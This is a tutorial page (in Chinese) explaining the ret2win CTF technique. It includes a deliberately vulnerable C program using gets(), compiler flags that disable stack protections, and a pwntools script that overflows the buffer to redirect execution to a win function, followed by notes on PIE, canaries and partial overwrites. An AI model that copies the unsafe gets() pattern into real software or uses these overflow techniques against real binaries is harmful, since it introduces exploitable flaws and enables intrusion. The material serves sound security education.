# Ret2win {{#include ../../../banners/hacktricks-training.md}} ## 基本信息 **Ret2win** 挑战是 **Capture The Flag (CTF)** 竞赛中一个受欢迎的类别,特别是在涉及 **binary exploitation** 的任务中。目标是利用给定二进制文件中的漏洞,执行二进制文件中一个特定的、未被调用的函数,通常命名为 `win`、`flag` 等。当这个函数被执行时,通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 **return address**,以将执行流转向所需的函数。以下是更详细的解释和示例: ### C 示例 考虑一个简单的 C 程序,其中存在一个漏洞和一个我们打算调用的 `win` 函数: ```c #include #include void win() { printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { char buf[64]; gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { vulnerable_function(); return 0; } ``` 要在没有栈保护和禁用 **ASLR** 的情况下编译此程序,您可以使用以下命令: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: 将程序编译为 32 位二进制文件(这不是必需的,但在 CTF 挑战中很常见)。 - `-fno-stack-protector`: 禁用对栈溢出的保护。 - `-z execstack`: 允许在栈上执行代码。 - `-no-pie`: 禁用位置无关可执行文件,以确保 `win` 函数的地址不变。 - `-o vulnerable`: 将输出文件命名为 `vulnerable`。 ### 使用 Pwntools 的 Python 利用 对于利用,我们将使用 **pwntools**,这是一个强大的 CTF 框架,用于编写利用脚本。利用脚本将创建一个有效负载,以溢出缓冲区并用 `win` 函数的地址覆盖返回地址。 ```python from pwn import * # Set up the process and context for the binary binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path # Find the address of the win function win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary # Create the payload # The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. payload = b'A' * 68 + win_addr # Send the payload p.sendline(payload) p.interactive() ``` 要找到 `win` 函数的地址,您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如,使用 `objdump`,您可以使用: ```sh objdump -d vulnerable | grep win ``` 该命令将显示 `win` 函数的汇编代码,包括其起始地址。 Python 脚本发送一个精心构造的消息,当被 `vulnerable_function` 处理时,会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时,它不会返回到 `main` 或退出,而是跳转到 `win`,并打印消息。 ## 保护措施 - [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **应禁用**,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下,当导致溢出的函数是 `read` 或类似函数时,您可以进行 **部分覆盖** 1 或 2 字节,以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理,最后三个十六进制半字节不会随机化,因此有 **1/16 的机会**(1 个半字节)获得正确的返回地址。 - [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应禁用,否则被破坏的 EIP 返回地址将永远不会被跟随。 ## 其他示例与参考 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - 32位,无 ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - 64 位,带 ASLR,带有二进制地址泄漏 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 位,无 ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - 32 位,无 ASLR,双小溢出,第一次溢出栈并增大第二次溢出的大小 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 位,relro,无金丝雀,nx,无 pie,格式字符串覆盖地址 `fflush` 为 `win` 函数(ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - 32 位,nx,其他无,部分覆盖 EIP(1 字节)以调用 `win` 函数 - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - 32 位,nx,其他无,部分覆盖 EIP(1 字节)以调用 `win` 函数 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - 该程序仅验证数字的最后一个字节以检查输入的大小,因此只要最后一个字节在允许范围内,就可以添加任何大小。然后,输入创建了一个缓冲区溢出,通过 ret2win 被利用。 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64 位,relro,无金丝雀,nx,pie。部分覆盖以调用 `win` 函数(ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - arm64,PIE,给出一个 PIE 泄漏,`win` 函数实际上是两个函数,因此 ROP gadget 调用两个函数 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - ARM64,越界调用 `win` 函数 ## ARM64 示例 {{#ref}} ret2win-arm64.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}}